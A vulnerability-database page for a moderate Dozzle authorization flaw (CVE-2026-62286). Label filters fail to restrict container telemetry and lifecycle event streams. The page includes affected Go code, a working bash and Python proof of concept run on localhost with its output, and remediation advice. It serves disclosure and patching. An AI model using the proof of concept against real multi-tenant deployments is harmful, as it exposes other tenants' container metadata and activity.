Vulnerabilities in pkg:golang/github.com/amir20/dozzle

PACKAGE
Advisory Identifier: GHSA-xcw9-qmmf-vqxj
Advisory Summary

CVE-2026-62286 is a MODERATE (CVSS 4.3) dozzle label filters do not vulnerability (CWE-285: Improper Authorization) affecting Github.com/amir20/dozzle libraries in the Go ecosystem. The issue involves dozzle label filters do not restrict container event and statistics streams. Remediation is available by upgrading affected packages to version 1.29.1-0.20260622172006-19c01e0fb491.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/amir20/dozzle

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/amir20/dozzle. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-xcw9-qmmf-vqxj CVE-2026-62286 MODERATE Dozzle label filters do not restrict container event and statistics streams
GHSA-p2w3-6x73-2f6x CVE-2026-73087 LOW Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher
GHSA-3v9w-6365-9w54 CVE-2026-45298 HIGH Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)
GHSA-j643-x8pv-8m67 CVE-2026-44985 HIGH Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication
GHSA-m855-r557-5rc5 CVE-2026-24740 HIGH Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access
GHSA-w7qr-q9fh-fj35 CVE-2024-47182 LOW Dozzle uses unsafe hash for passwords

CVE-2026-62286 at a Glance

CVE Identifier CVE-2026-62286
GHSA Identifier GHSA-xcw9-qmmf-vqxj
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-285: Improper Authorization
Affected Product Github.com/amir20/dozzle
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-62286

To remediate this vulnerability, upgrade all affected Github.com/amir20/dozzle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/amir20/dozzle fixed: 1.29.1-0.20260622172006-19c01e0fb491
Upgrade github.com/amir20/dozzle to 1.29.1-0.20260622172006-19c01e0fb491
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/amir20/dozzle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-62286, inspect your project dependencies for Github.com/amir20/dozzle:

inspect dependencies for github.com/amir20/dozzle

Analyze the terminal output to locate any version of Github.com/amir20/dozzle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.29.1-0.20260622172006-19c01e0fb491), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/amir20/dozzle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Dozzle supports per-user label filters in `users.yml` that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the `guest` user can only see containers with the label `com.example.app` … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host. The events stream handler `streamEvents` (GET `/api/events/stream`) honors that filter for the initial container list and for the incremental `containers-changed` updates, but it forwards two other channels — `container-stat` (live per-container CPU, memory, network and disk telemetry) and `container-event` (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) — to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription `SubscribeEventsAndStats` fans out across every Docker client/host and never receives a label filter at all. As a result, any authenticated user — including one explicitly constrained to a single label scope — receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67). ## Affected code (v10.6.5) `internal/web/events.go` — `streamEvents`. The handler resolves the caller's `userLabels` and applies them to the initial list (`ListAllContainers(userLabels)`) and to the `containers-changed` increment (`ListContainersForHost(event.Host, userLabels)`), but forwards `container-stat` and the raw `container-event` with no filter check: ```go h.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed ... userLabels := h.config.Labels if h.config.Authorization.Provider != NONE { user := auth.UserFromContext(r.Context()) if user.ContainerLabels.Exists() { userLabels = user.ContainerLabels } } allContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct) ... case stat := <-stats: if err := sseWriter.Event("container-stat", stat); err != nil { // NOT filtered ... } case event, ok := <-events: ... switch event.Name { case "start", "die", "destroy", "rename", "pause", "unpause": if event.Name == "start" || event.Name == "rename" { if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil { ... sseWriter.Event("containers-changed", containers) ... // filtered (correct) } } if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered ... } ``` `internal/support/docker/multi_host_service.go` — `SubscribeEventsAndStats` subscribes to events and stats from every client with no label filter argument: ```go func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) { for _, client := range m.manager.List() { client.SubscribeEvents(ctx, events) client.SubscribeStats(ctx, stats) } } ``` The payloads carry the disclosed data. `ContainerStat` (internal/container/types.go) includes `id`, `cpu`, `memory`, `memoryUsage`, `networkRxTotal`, `networkTxTotal`, `diskReadTotal`, `diskWriteTotal`. `ContainerEvent` includes `host`, `actorId` and `actorAttributes` (a `map[string]string`), which for `start` events contains the container name, image, and every label. ## Attacker model / precondition The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (`DOZZLE_AUTH_PROVIDER=simple`) and at least one user whose `filter:` restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load. What bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact. ## Impact A user constrained to one label scope can continuously enumerate, on every monitored host: - The existence and identity of every container outside their scope, via `container-event` `actorId` plus `actorAttributes` (container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as `secretproject=acme-payroll`). - Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads. - Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time. In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view. ## Proof of Concept (complete — runs on 127.0.0.1 only) Lab only. Requires Docker on the local host. Uses the official `amir20/dozzle:v10.6.5` image. It creates one container the `guest` user is allowed to see (label `visible=yes`) and one the guest must NOT see (`dz_secret`, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the `container-stat` and `container-event` channels leak the forbidden container's telemetry and metadata. ```bash set -e WORK=$(mktemp -d); cd "$WORK"; mkdir -p data # 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes. docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \ --user-filter "label=visible=yes" --user-roles all > guest.yml python3 - <<'PY' admin=open("data/users.yml").read() guest=open("guest.yml").read().split("users:\n",1)[1] open("data/users.yml","w").write(admin.rstrip()+"\n"+guest) PY # 2. Start two workload containers: one the guest IS allowed to see, one it is NOT. docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true docker run -d --name dz_visible --label visible=yes alpine \ sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null docker run -d --name dz_secret --label secretproject=acme-payroll alpine \ sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null # 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only. docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ -v "$PWD/data:/data" \ -e DOZZLE_AUTH_PROVIDER=simple \ amir20/dozzle:v10.6.5 >/dev/null sleep 4 B=http://127.0.0.1:8083 SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret) VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible) # 4. Authenticate as the restricted guest. curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null # 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle # event on the forbidden container partway through. ( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) & sleep 3 docker restart dz_secret >/dev/null # generate die/start container-events for dz_secret wait # 6. Analyze: the documented filtered channel vs the two leaking channels. python3 - "$SECRET_ID" "$VIS_ID" <<'PY' import json,sys secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12] ev=None; list_ids=set(); stat_ids=set(); evt=[] secret_stat=None; secret_start_attrs=None for line in open("guest_events.txt"): line=line.rstrip("\n") if line.startswith("event:"): ev=line[6:].strip() elif line.startswith("data:"): try: j=json.loads(line[5:].strip()) except: continue if ev=="containers-changed" and isinstance(j,list): for c in j: if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"]) elif ev=="container-stat" and isinstance(j,dict): if j.get("id"): stat_ids.add(j["id"]) if j.get("id")==s12: secret_stat=j elif ev=="container-event" and isinstance(j,dict): evt.append((j.get("name"),j.get("actorId"))) if j.get("actorId")==s12 and j.get("actorAttributes"): secret_start_attrs=j["actorAttributes"] print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===") print(" containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids)) print(" secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)") print() print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===") print(" distinct containers in stat stream:", len(stat_ids)) print(" secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)") if secret_stat: print(" leaked dz_secret stat payload:", json.dumps(secret_stat)) print() print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===") print(" lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12]) if secret_start_attrs: print(" leaked dz_secret attributes:", json.dumps(secret_start_attrs)) PY # 7. Cleanup. docker rm -f dz_visible dz_secret dozzle_lab >/dev/null cd /; rm -rf "$WORK" ``` Observed output (host details elided; the salient lines): ``` === DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) === containers the guest is authorized to see: 1 -> ['87a94222ba1d'] secret container present?: False (expected False) === LEAK CHANNEL 1: container-stat (NOT filtered) === distinct containers in stat stream: 10 secret container telemetry leaked?: True (VULN if True) leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0} === LEAK CHANNEL 2: container-event (NOT filtered) === lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')] leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"} ``` The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including `dz_secret` — and leaks `dz_secret`'s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container. ## Remediation Apply the caller's `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely: - Maintain, per connection, the set of container IDs visible under the caller's `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event("container-stat", ...)`. - For each `container-event`, resolve the event's container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers. - Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`. - Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host. Please credit 5ud0 / Tarmo Technologies.

CVE-2026-62286 Affected Github.com/amir20/dozzle Versions

1 component(s)
Fixed Versions:
1.29.1-0.20260622172006-19c01e0fb491
Product / Package Ecosystem Affected Versions Fixed Version
github.com/amir20/dozzle
Go
< 1.29.1-0.20260622172006-19c01e0fb491
1.29.1-0.20260622172006-19c01e0fb491

References

Frequently Asked Questions

What is CVE-2026-62286?
CVE-2026-62286 is a security vulnerability in Github.com/amir20/dozzle involving Dozzle label filters do not restrict container event and statistics streams under CWE-285: Improper Authorization.
Which Github.com/amir20/dozzle versions are affected?
Affected versions include releases prior to 1.29.1-0.20260622172006-19c01e0fb491 across affected packages: github.com/amir20/dozzle.
What version fixes CVE-2026-62286?
Upgrading to 1.29.1-0.20260622172006-19c01e0fb491 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/amir20/dozzle affected?
Yes, github.com/amir20/dozzle is affected in releases prior to 1.29.1-0.20260622172006-19c01e0fb491. Upgrade your dependency to 1.29.1-0.20260622172006-19c01e0fb491 or later.
What is the CVSS score of CVE-2026-62286?
CVE-2026-62286 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-62286?
CVE-2026-62286 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-62286?
Run the dependency tree command: 'inspect dependencies for github.com/amir20/dozzle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xcw9-qmmf-vqxj",
  "modified" : "2026-09-24T18:15:10Z",
  "published" : "2026-09-24T18:15:10Z",
  "aliases" : [ "CVE-2026-62286" ],
  "summary" : "Dozzle label filters do not restrict container event and statistics streams",
  "details" : "## Summary\n\nDozzle supports per-user label filters in `users.yml` that are documented as an access-control boundary: \"Filters are used to restrict the containers that a user can see\" and \"the `guest` user can only see containers with the label `com.example.app` … useful for restricting access to specific containers\" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.\n\nThe events stream handler `streamEvents` (GET `/api/events/stream`) honors that filter for the initial container list and for the incremental `containers-changed` updates, but it forwards two other channels — `container-stat` (live per-container CPU, memory, network and disk telemetry) and `container-event` (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) — to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription `SubscribeEventsAndStats` fans out across every Docker client/host and never receives a label filter at all.\n\nAs a result, any authenticated user — including one explicitly constrained to a single label scope — receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).\n\n## Affected code (v10.6.5)\n\n`internal/web/events.go` — `streamEvents`. The handler resolves the caller's `userLabels` and applies them to the initial list (`ListAllContainers(userLabels)`) and to the `containers-changed` increment (`ListContainersForHost(event.Host, userLabels)`), but forwards `container-stat` and the raw `container-event` with no filter check:\n\n```go\nh.hostService.SubscribeEventsAndStats(r.Context(), events, stats)   // no labels passed\n...\nuserLabels := h.config.Labels\nif h.config.Authorization.Provider != NONE {\n    user := auth.UserFromContext(r.Context())\n    if user.ContainerLabels.Exists() {\n        userLabels = user.ContainerLabels\n    }\n}\nallContainers, errors := h.hostService.ListAllContainers(userLabels)   // filtered (correct)\n...\ncase stat := <-stats:\n    if err := sseWriter.Event(\"container-stat\", stat); err != nil {     // NOT filtered\n        ...\n    }\ncase event, ok := <-events:\n    ...\n    switch event.Name {\n    case \"start\", \"die\", \"destroy\", \"rename\", \"pause\", \"unpause\":\n        if event.Name == \"start\" || event.Name == \"rename\" {\n            if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {\n                ... sseWriter.Event(\"containers-changed\", containers) ... // filtered (correct)\n            }\n        }\n        if err := sseWriter.Event(\"container-event\", event); err != nil { // NOT filtered\n            ...\n        }\n```\n\n`internal/support/docker/multi_host_service.go` — `SubscribeEventsAndStats` subscribes to events and stats from every client with no label filter argument:\n\n```go\nfunc (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) {\n    for _, client := range m.manager.List() {\n        client.SubscribeEvents(ctx, events)\n        client.SubscribeStats(ctx, stats)\n    }\n}\n```\n\nThe payloads carry the disclosed data. `ContainerStat` (internal/container/types.go) includes `id`, `cpu`, `memory`, `memoryUsage`, `networkRxTotal`, `networkTxTotal`, `diskReadTotal`, `diskWriteTotal`. `ContainerEvent` includes `host`, `actorId` and `actorAttributes` (a `map[string]string`), which for `start` events contains the container name, image, and every label.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (`DOZZLE_AUTH_PROVIDER=simple`) and at least one user whose `filter:` restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.\n\nWhat bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.\n\n## Impact\n\nA user constrained to one label scope can continuously enumerate, on every monitored host:\n\n- The existence and identity of every container outside their scope, via `container-event` `actorId` plus `actorAttributes` (container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as `secretproject=acme-payroll`).\n- Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads.\n- Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.\n\nIn a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab only. Requires Docker on the local host. Uses the official `amir20/dozzle:v10.6.5` image. It creates one container the `guest` user is allowed to see (label `visible=yes`) and one the guest must NOT see (`dz_secret`, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the `container-stat` and `container-event` channels leak the forbidden container's telemetry and metadata.\n\n```bash\nset -e\nWORK=$(mktemp -d); cd \"$WORK\"; mkdir -p data\n\n# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.\ndocker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml\ndocker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \\\n  --user-filter \"label=visible=yes\" --user-roles all > guest.yml\npython3 - <<'PY'\nadmin=open(\"data/users.yml\").read()\nguest=open(\"guest.yml\").read().split(\"users:\\n\",1)[1]\nopen(\"data/users.yml\",\"w\").write(admin.rstrip()+\"\\n\"+guest)\nPY\n\n# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.\ndocker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true\ndocker run -d --name dz_visible --label visible=yes alpine \\\n  sh -c 'while true; do echo \"visible-log $(date)\"; sleep 2; done' >/dev/null\ndocker run -d --name dz_secret --label secretproject=acme-payroll alpine \\\n  sh -c 'while true; do echo \"SECRET-log $(date)\"; sleep 2; done' >/dev/null\n\n# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.\ndocker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \\\n  -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n  -v \"$PWD/data:/data\" \\\n  -e DOZZLE_AUTH_PROVIDER=simple \\\n  amir20/dozzle:v10.6.5 >/dev/null\nsleep 4\n\nB=http://127.0.0.1:8083\nSECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret)\nVIS_ID=$(docker inspect -f '{{.Id}}' dz_visible)\n\n# 4. Authenticate as the restricted guest.\ncurl -s -c guest.cookies -X POST \"$B/api/token\" -d 'username=guest' -d 'password=guestpass' -o /dev/null\n\n# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle\n#    event on the forbidden container partway through.\n( timeout 10 curl -s -N -b guest.cookies \"$B/api/events/stream\" > guest_events.txt 2>/dev/null ) &\nsleep 3\ndocker restart dz_secret >/dev/null     # generate die/start container-events for dz_secret\nwait\n\n# 6. Analyze: the documented filtered channel vs the two leaking channels.\npython3 - \"$SECRET_ID\" \"$VIS_ID\" <<'PY'\nimport json,sys\nsecret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]\nev=None; list_ids=set(); stat_ids=set(); evt=[]\nsecret_stat=None; secret_start_attrs=None\nfor line in open(\"guest_events.txt\"):\n    line=line.rstrip(\"\\n\")\n    if line.startswith(\"event:\"): ev=line[6:].strip()\n    elif line.startswith(\"data:\"):\n        try: j=json.loads(line[5:].strip())\n        except: continue\n        if ev==\"containers-changed\" and isinstance(j,list):\n            for c in j:\n                if isinstance(c,dict) and c.get(\"id\"): list_ids.add(c[\"id\"])\n        elif ev==\"container-stat\" and isinstance(j,dict):\n            if j.get(\"id\"): stat_ids.add(j[\"id\"])\n            if j.get(\"id\")==s12: secret_stat=j\n        elif ev==\"container-event\" and isinstance(j,dict):\n            evt.append((j.get(\"name\"),j.get(\"actorId\")))\n            if j.get(\"actorId\")==s12 and j.get(\"actorAttributes\"):\n                secret_start_attrs=j[\"actorAttributes\"]\nprint(\"=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\")\nprint(\"  containers the guest is authorized to see:\", len(list_ids), \"->\", sorted(x[:12] for x in list_ids))\nprint(\"  secret container present?:\", s12 in {x[:12] for x in list_ids}, \"(expected False)\")\nprint()\nprint(\"=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\")\nprint(\"  distinct containers in stat stream:\", len(stat_ids))\nprint(\"  secret container telemetry leaked?:\", s12 in {x[:12] for x in stat_ids}, \"(VULN if True)\")\nif secret_stat: print(\"  leaked dz_secret stat payload:\", json.dumps(secret_stat))\nprint()\nprint(\"=== LEAK CHANNEL 2: container-event (NOT filtered) ===\")\nprint(\"  lifecycle events leaked for dz_secret:\", [e for e in evt if e[1]==s12])\nif secret_start_attrs: print(\"  leaked dz_secret attributes:\", json.dumps(secret_start_attrs))\nPY\n\n# 7. Cleanup.\ndocker rm -f dz_visible dz_secret dozzle_lab >/dev/null\ncd /; rm -rf \"$WORK\"\n```\n\nObserved output (host details elided; the salient lines):\n\n```\n=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===\n  containers the guest is authorized to see: 1 -> ['87a94222ba1d']\n  secret container present?: False (expected False)\n\n=== LEAK CHANNEL 1: container-stat (NOT filtered) ===\n  distinct containers in stat stream: 10\n  secret container telemetry leaked?: True (VULN if True)\n  leaked dz_secret stat payload: {\"id\": \"9ec5e9a970d9\", \"cpu\": 0, \"memory\": 0.00228, \"memoryUsage\": 487424, \"networkRxTotal\": 2444, \"networkTxTotal\": 126, \"diskReadTotal\": 0, \"diskWriteTotal\": 0}\n\n=== LEAK CHANNEL 2: container-event (NOT filtered) ===\n  lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]\n  leaked dz_secret attributes: {\"env\": \"prod\", \"image\": \"nginx:alpine\", \"name\": \"dz_secret\", \"secretproject\": \"acme-payroll\"}\n```\n\nThe guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including `dz_secret` — and leaks `dz_secret`'s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.\n\n## Remediation\n\nApply the caller's `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely:\n\n- Maintain, per connection, the set of container IDs visible under the caller's `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event(\"container-stat\", ...)`.\n- For each `container-event`, resolve the event's container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers.\n- Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`.\n- Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/amir20/dozzle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.1-0.20260622172006-19c01e0fb491"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/security/advisories/GHSA-xcw9-qmmf-vqxj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/pull/4803"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/commit/19c01e0fb491c170796edba3da2692562c204e77"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/amir20/dozzle"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/releases/tag/v10.6.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T18:15:10Z",
    "nvd_published_at" : null
  }
}